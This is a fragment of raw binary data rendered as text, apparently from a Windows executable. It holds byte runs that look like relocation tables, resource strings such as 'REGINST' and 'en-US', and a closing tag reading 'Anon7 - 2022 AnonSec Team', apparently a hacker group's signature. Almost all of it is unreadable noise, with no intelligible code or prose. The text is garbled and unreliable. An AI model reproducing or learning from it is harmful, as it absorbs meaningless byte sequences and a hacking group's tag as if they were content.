XQ:(Mu^g'~A_fVREGINSTMUIMUIen-USX2P3D4H4L4P4T4X4\4`4l4p4444444444455555555 5$5(50585@5D5H5P5h5l5p5t5x5|555555555555555555666666666666666666666666666677777777 7$7(7,7074787<7@7T7X7\7`7d7h7l7p7t7x7|77777777777779:L<P<<<<<<<<==4=:=@=K=a=g=m==(>/>>>R>>>>>>>>>>???? }0&1Z1|1122&2V2y22222223S3k3t33333333"4(4V4b44555566667'7I7`7u777778::::E;u;;;;;<p<K=k===>>>>'?A?K?f?????000l0000
1U1111122M2222223933333334 4)4F4L4e4k4}4444444455M5\5u556I666666727C7777777'838V8I9i99:/:m:::;7;;;\<<==/==>)>l>>^???????@|00a000001R111111h2{223*3}356O7_77R89999::::::/;;;
<P<Z<~<<<<<	=2=Q=>>>1>>>
??P$001X11111111122222F344"44545F556T6z666666C7777 8-88888%9+92999@9X9^9i9w9}999999:H:V:i:|:::;O;V;e;;;;;;;;d<<<<=>>>>m??????`00#0@0u00001112222B2K2\2t22222222222233)333N3T3[3f3p3333334w5556
6"6.666<7H7U7r777788!8)818=8O8\8d8~8888888888888888888999#91969<9G9N9\9h9t9999999999999:+:a:::::;<?O?p0O0000000011-1C1m1x111111111112	22*2/2<2P2\2h2t2222222222223	33*3/3?3D3T3Y3i3n3x3333333333C4.575<5C5I5P5V5]5c5j5p5x5556T6i6v66666666677*7H7P7T7\7`7h7l7t7x777777777770000000 000@0P0`0p00000000011 101@1P1`1p11111111122(282H2X2h2x22222222233 3`3333333333333344444444 4$4,4

Anon7 - 2022
AnonSec Team